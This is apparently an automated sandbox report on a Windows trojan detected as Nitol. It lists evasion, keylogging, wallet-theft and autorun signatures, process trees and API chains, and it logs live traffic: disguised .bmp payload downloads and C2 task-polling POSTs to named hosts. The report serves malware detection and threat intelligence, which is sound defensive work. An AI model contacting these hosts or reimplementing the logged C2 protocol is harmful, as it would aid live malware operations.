Edit tour

Windows Analysis Report
3Kel6xErOk.exe

Overview

General Information

Sample name:	3Kel6xErOk.exe renamed because original name is a hash value
Original sample name:	4f432ba1da38c64c9298fb2c2a0271c06dc333fb66e7f2b6deebf1ec6782c6b9.exe
Analysis ID:	1511255
MD5:	4c78207e0eb0dfe35135ed10641c2546
SHA1:	12e9baced4a47f2ce202107112771ffeb635d408
SHA256:	4f432ba1da38c64c9298fb2c2a0271c06dc333fb66e7f2b6deebf1ec6782c6b9
Tags:	ad87h92j-comexe
Infos:

Detection

Nitol

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Nitol

AI detected suspicious sample

Checks if browser processes are running

Contains functionalty to change the wallpaper

Drops password protected ZIP file

Found API chain indicative of debugger detection

Hides threads from debuggers

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Tries to access browser extension known for cryptocurrency wallets

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Tries to evade analysis by execution special instruction (VM detection)

AV process strings found (often used to terminate AV products)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to clear windows event logs (to hide its activities)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

3Kel6xErOk.exe (PID: 6192 cmdline: "C:\Users\user\Desktop\3Kel6xErOk.exe" MD5: 4C78207E0EB0DFE35135ED10641C2546)

lte7inN.exe (PID: 7548 cmdline: "C:\Program Files (x86)\pR4cysw\lte7inN.exe" MD5: C8E8EEAF5464AF1A188B3DC12C890813)

OpenWith.exe (PID: 7296 cmdline: C:\Windows\system32\OpenWith.exe -Embedding MD5: E4A834784FA08C17D47A1E72429C5109)

lte7inN.exe (PID: 1568 cmdline: "C:\Program Files (x86)\pR4cysw\lte7inN.exe" MD5: C8E8EEAF5464AF1A188B3DC12C890813)

lte7inN.exe (PID: 2044 cmdline: "C:\Program Files (x86)\pR4cysw\lte7inN.exe" MD5: C8E8EEAF5464AF1A188B3DC12C890813)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Nitol		No Attribution	https://asec.ahnlab.com/en/44504/ https://blogs.technet.microsoft.com/microsoft_blog/2012/09/13/microsoft-disrupts-the-emerging-nitol-botnet-being-spread-through-an-unsecure-supply-chain/ https://en.wikipedia.org/wiki/Nitol_botnet https://krebsonsecurity.com/tag/nitol/	https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000010.00000002.3137799741.0000000010064000.00000002.00001000.00020000.00000000.sdmp	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
00000010.00000002.3137201398.0000000002F49000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
00000010.00000002.3137330090.00000000031F9000.00000040.00000020.00020000.00000000.sdmp	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
Process Memory Space: lte7inN.exe PID: 7548	JoeSecurity_Nitol	Yara detected Nitol	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
16.2.lte7inN.exe.31f9c24.2.unpack	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
16.2.lte7inN.exe.31f9c24.2.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP	Detects executables embedding registry key / value combination manipulating RDP / Terminal Services	ditekSHen	0x75ff8:$r1: SOFTWARE\Policies\Microsoft\Windows\Installer 0x75fe4:$k1: EnableAdminTSRemote 0x75d74:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75ed0:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f08:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f50:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760c8:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760a0:$k2: TSEnabled 0x76044:$r3: SYSTEM\CurrentControlSet\Services\TermDD 0x76070:$r4: SYSTEM\CurrentControlSet\Services\TermService 0x75d11:$k3: Start 0x75d1d:$k3: Start 0x75d2b:$k3: Start 0x75d47:$k3: Start 0x7603c:$k3: Start 0x7626f:$k3: start 0x75d74:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75ed0:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f08:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f50:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760c8:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server
16.2.lte7inN.exe.2f49c24.1.raw.unpack	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
16.2.lte7inN.exe.2f49c24.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP	Detects executables embedding registry key / value combination manipulating RDP / Terminal Services	ditekSHen	0x777f8:$r1: SOFTWARE\Policies\Microsoft\Windows\Installer 0x777e4:$k1: EnableAdminTSRemote 0x77574:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x776d0:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77708:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77750:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778c8:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778a0:$k2: TSEnabled 0x77844:$r3: SYSTEM\CurrentControlSet\Services\TermDD 0x77870:$r4: SYSTEM\CurrentControlSet\Services\TermService 0x77511:$k3: Start 0x7751d:$k3: Start 0x7752b:$k3: Start 0x77547:$k3: Start 0x7783c:$k3: Start 0x77a6f:$k3: start 0x77574:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x776d0:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77708:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77750:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778c8:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server
16.2.lte7inN.exe.31f9c24.2.raw.unpack	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
16.2.lte7inN.exe.31f9c24.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP	Detects executables embedding registry key / value combination manipulating RDP / Terminal Services	ditekSHen	0x777f8:$r1: SOFTWARE\Policies\Microsoft\Windows\Installer 0x777e4:$k1: EnableAdminTSRemote 0x77574:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x776d0:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77708:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77750:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778c8:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778a0:$k2: TSEnabled 0x77844:$r3: SYSTEM\CurrentControlSet\Services\TermDD 0x77870:$r4: SYSTEM\CurrentControlSet\Services\TermService 0x77511:$k3: Start 0x7751d:$k3: Start 0x7752b:$k3: Start 0x77547:$k3: Start 0x7783c:$k3: Start 0x77a6f:$k3: start 0x77574:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x776d0:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77708:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77750:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778c8:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server
16.2.lte7inN.exe.2f49c24.1.unpack	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
16.2.lte7inN.exe.2f49c24.1.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP	Detects executables embedding registry key / value combination manipulating RDP / Terminal Services	ditekSHen	0x75ff8:$r1: SOFTWARE\Policies\Microsoft\Windows\Installer 0x75fe4:$k1: EnableAdminTSRemote 0x75d74:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75ed0:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f08:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f50:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760c8:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760a0:$k2: TSEnabled 0x76044:$r3: SYSTEM\CurrentControlSet\Services\TermDD 0x76070:$r4: SYSTEM\CurrentControlSet\Services\TermService 0x75d11:$k3: Start 0x75d1d:$k3: Start 0x75d2b:$k3: Start 0x75d47:$k3: Start 0x7603c:$k3: Start 0x7626f:$k3: start 0x75d74:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75ed0:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f08:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f50:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760c8:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Program Files (x86)\pR4cysw\lte7inN.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\3Kel6xErOk.exe, ProcessId: 6192, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WINDOWS

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-14T18:44:25.310873+0200	2803304	3	Unknown Traffic	192.168.2.7	54890	188.114.96.3	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Program Files (x86)\pR4cysw\t4d.tmp	Avira: detection malicious, Label: DR/FakePic.Gen
Source: C:\Program Files (x86)\pR4cysw\t5d.tmp	Avira: detection malicious, Label: DR/FakePic.Gen

Multi AV Scanner detection for submitted file

Source: 3Kel6xErOk.exe

ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: 3Kel6xErOk.exe, 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_fbac1c85-7

Source: 3Kel6xErOk.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.222.6:443 -> 192.168.2.7:54892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.7:54893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.7:54894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.7:54895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.7:54896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.7:54897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.7:54898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.7:54899 version: TLS 1.2

Source:	Binary string: D:\a\_work\1\s\\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: VCRUNTIME140.dll.5.dr
Source:	Binary string: D:\pcagamecenter\src\gamecenter\Release\minigameclient.pdb source: 3Kel6xErOk.exe
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /Od /WX -DL_ENDIAN -DOPENSSL_PIC -D_WIN32_WINNT=0x0501 source: 3Kel6xErOk.exe
Source:	Binary string: ?crypto\stack\stack.ccompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /Od /WX -DL_ENDIAN -DOPENSSL_PIC -D_WIN32_WINNT=0x0501 source: 3Kel6xErOk.exe
Source:	Binary string: D:\pcagamecenter\src\gamecenter\Release\minigameclient.pdb source: 3Kel6xErOk.exe

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03225374 lstrcpy,lstrcat,CreateDirectoryA,GetLastError,FindFirstFileA,lstrcpy,lstrcat,lstrcat,lstrcpy,lstrcat,lstrcat,lstrcmp,lstrcmp,CreateDirectoryA,GetLastError,CopyFileA,_strstr,_strstr,CreateFileA,CreatePipe,CreateProcessA,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,CreatePipe,CreateProcessA,ReadFile,ReadFile,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,FindNextFileA,std::ios_base::_Ios_base_dtor,	16_2_03225374
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_032213C4 FindFirstFileA,FindClose,RemoveDirectoryA,Sleep,CreateFileA,GetFileSize,CreateFileA,GetFileSize,SetFilePointer,ReadFile,LocalAlloc,LocalFree,CloseHandle,Sleep,	16_2_032213C4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321C134 lstrcpy,FindFirstFileA,lstrcpy,_strstr,LocalAlloc,LocalReAlloc,LocalSize,Sleep,LocalFree,FindNextFileA,FindClose,	16_2_0321C134
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03225194 lstrcpy,CreateDirectoryA,FindFirstFileA,lstrcpy,lstrcpy,CreateDirectoryA,CopyFileA,FindNextFileA,	16_2_03225194
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321C0BD lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	16_2_0321C0BD
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321C0DA lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	16_2_0321C0DA
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321D754 FindFirstFileA,FindClose,CreateFileA,Sleep,CreateFileA,CloseHandle,GetLastError,wsprintfA,	16_2_0321D754
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321D4F4 lstrlen,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	16_2_0321D4F4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0322C4C4 RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,	16_2_0322C4C4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0324EAFC FindFirstFileExW,	16_2_0324EAFC
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321CAD4 LocalAlloc,wsprintfA,FindFirstFileA,LocalReAlloc,lstrlen,FindNextFileA,LocalFree,FindClose,	16_2_0321CAD4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321CE14 FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,	16_2_0321CE14
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321BEB3 FindFirstFileA,FindClose,FindClose,	16_2_0321BEB3
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321CCE4 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,RemoveDirectoryA,	16_2_0321CCE4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100230CD lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	16_2_100230CD
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10023110 lstrcpy,FindFirstFileA,lstrcpy,_strstr,LocalAlloc,LocalReAlloc,LocalSize,Sleep,LocalFree,FindNextFileA,FindClose,	16_2_10023110
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1002C170 lstrcpy,CreateDirectoryA,FindFirstFileA,lstrcpy,lstrcpy,CreateDirectoryA,CopyFileA,FindNextFileA,	16_2_1002C170
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1002C350 lstrcpy,lstrcat,CreateDirectoryA,GetLastError,FindFirstFileA,lstrcpy,lstrcat,lstrcat,lstrcpy,lstrcat,lstrcat,lstrcmp,lstrcmp,CreateDirectoryA,GetLastError,CopyFileA,_strstr,_strstr,CreateFileA,CreatePipe,CreateProcessA,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,CreatePipe,CreateProcessA,ReadFile,ReadFile,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,FindNextFileA,std::ios_base::_Ios_base_dtor,	16_2_1002C350
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100283A0 FindFirstFileA,FindClose,RemoveDirectoryA,Sleep,CreateFileA,GetFileSize,CreateFileA,GetFileSize,SetFilePointer,ReadFile,LocalAlloc,LocalFree,CloseHandle,Sleep,	16_2_100283A0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100334A0 RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,	16_2_100334A0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100244D0 lstrlen,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	16_2_100244D0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10024730 FindFirstFileA,FindClose,CreateFileA,Sleep,CreateFileA,CloseHandle,GetLastError,wsprintfA,	16_2_10024730
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10023AB0 LocalAlloc,wsprintfA,FindFirstFileA,LocalReAlloc,lstrlen,FindNextFileA,LocalFree,FindClose,	16_2_10023AB0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10055AD8 FindFirstFileExW,	16_2_10055AD8
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10023CC0 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,RemoveDirectoryA,	16_2_10023CC0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10023DF0 FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,	16_2_10023DF0

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_03220404 GetLogicalDriveStringsA,QueryDosDeviceA,lstrlen,lstrcpy,lstrcpy,lstrcat,

16_2_03220404

Source: global traffic	HTTP traffic detected: GET /4/long.bmp HTTP/1.1Host: web.ad87h92j.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4/text.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com
Source: global traffic	HTTP traffic detected: GET /4/d.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com
Source: global traffic	HTTP traffic detected: GET /4/t.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:54890 -> 188.114.96.3:80

Source: global traffic	HTTP traffic detected: POST /api.php/common/getdomain HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36Content-Length: 18Host: caces.goldenh0ur.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/receivejson HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36Content-Length: 486Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: sa0q8dlc2tjup8s4h2tb1qjlkuContent-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: sa0q8dlc2tjup8s4h2tb1qjlkuContent-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: sa0q8dlc2tjup8s4h2tb1qjlkuContent-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: sa0q8dlc2tjup8s4h2tb1qjlkuContent-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: sa0q8dlc2tjup8s4h2tb1qjlkuContent-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: sa0q8dlc2tjup8s4h2tb1qjlkuContent-Length: 38Host: mvc.withoutyou5.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Code function: 5_2_0041E1FA ShellExecuteA,CreateThread,VirtualAlloc,VirtualAlloc,InternetOpenA,InternetOpenUrlA,InternetReadFile,CreateThread,

5_2_0041E1FA

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 14 Sep 2024 16:44:26 GMTContent-Type: image/bmpContent-Length: 6443425Connection: keep-aliveLast-Modified: Thu, 08 Aug 2024 15:32:21 GMTETag: "607df428a8e9da1:0"Cache-Control: max-age=14400CF-Cache-Status: HITAge: 491Accept-Ranges: bytesReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dVddds%2BuvV7Ow28fCKNDH3nl5iQpMgQ2O%2F5OmzHKkIcpg1MtuX1C%2F0e0StAabSmGdvrDZNAReAY5Z25qVxflW9%2BKgt5X8nIo8eGcDFCPw16MYle2jI%2BW%2F4TuphDNF%2BFvrd7r"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c31d7782cdb4392-EWRalt-svc: h3=":443"; ma=86400Data Raw: 50 4b 03 04 14 00 00 00 00 00 52 09 02 59 00 00 00 00 00 00 00 00 00 00 00 00 05 00 11 00 74 65 78 74 2f 55 54 0d 00 07 f1 31 ac 66 f1 31 ac 66 f1 31 ac 66 50 4b 03 04 14 00 09 00 08 00 ae 88 37 58 00 00 00 00 00 00 00 00 78 a9 06 00 11 00 11 00 74 65 78 74 2f 4d 53 56 43 50 31 34 30 2e 64 6c 6c 55 54 0d 00 07 d3 f1 af 65 6a c1 ab 66 32 4d 82 66 87 7a eb 30 49 5c 70 71 cf 9f 0b 7f 37 1a ef fe ec 4e 99 14 e9 79 0c eb 41 b9 e8 f1 0c 4c 80 3a 7f 76 93 46 46 e8 65 7d bc 46 e7 22 b0 cc d0 5f 0c fe e5 9a c6 07 68 49 cf 67 8c de f1 91 0a 4d 5f 96 fa d9 d6 82 da 5d 83 1e 78 91 03 68 d0 5c f3 7f be 92 78 68 7f 9b 82 3d 58 0a 03 a3 ca 52 a9 20 ad ce 0c 1c 17 57 32 4f 23 2d bd 75 0e cf 2d 73 5a f1 a5 25 a2 53 54 c7 df 3d 96 7b f5 d6 b7 e4 a5 b1 33 57 3e 91 c8 b1 9f 68 0b 2f d7 28 a9 80 e2 6e 4c cc 82 c2 26 fe 2b 7e ce 5e 42 59 1b b0 3c 97 03 3a bf 54 e9 ce 6b d0 11 f6 8c a1 96 6a 71 dd 5b a0 e2 f0 6e 1c 54 d9 8d e7 7b 68 d7 cb 0f 8d a0 bc 2f 63 1e dc b5 69 41 6a 0d fd 2b c8 88 9c 7c 92 ea 7c bc 78 5c b1 3a 4c 96 53 a8 93 1a 43 8a 40 72 c9 cd 4d f3 75 0b d3 e0 d6 60 25 ae d3 66 4a 4b 5d b6 5e 17 3b 24 29 1b a7 07 28 1d 48 ce 8a 24 dd e5 0f 57 31 3b 63 bc e1 b9 39 3b 66 4c 46 9f 14 f3 c4 02 68 95 c3 21 3d 7c d0 7a 12 01 3c 08 32 de 1b 41 20 0a ef 8d 8e 3c cb 3d 54 8e 28 0e 74 2d a5 bb e4 c7 6a f7 4b 3c 19 7a 3e b3 55 75 93 98 a4 85 fc 3e 61 cb 06 22 80 2d 2c 37 b8 2a 5c b0 51 a6 6b 96 fb ee 27 23 f4 d0 04 a5 0c 50 95 84 0f 9b 47 8f 5b 48 3b 2a bb f4 f8 7d 94 68 ed 84 fa fd 02 9b 9e ae f0 7d 19 69 b4 c0 78 83 f0 ef 95 a1 21 73 56 4e d7 8b 38 9a ed e1 e8 8f 47 a6 26 5f 23 ea 1f c9 5d 4a c2 09 00 e3 5f Data Ascii: PKRYtext/UT1f1f1fPK7Xxtext/MSVCP140.dllUTejf2Mfz0I\pq7NyAL:vFFe}F"_hIgM_]xh\xh=XR 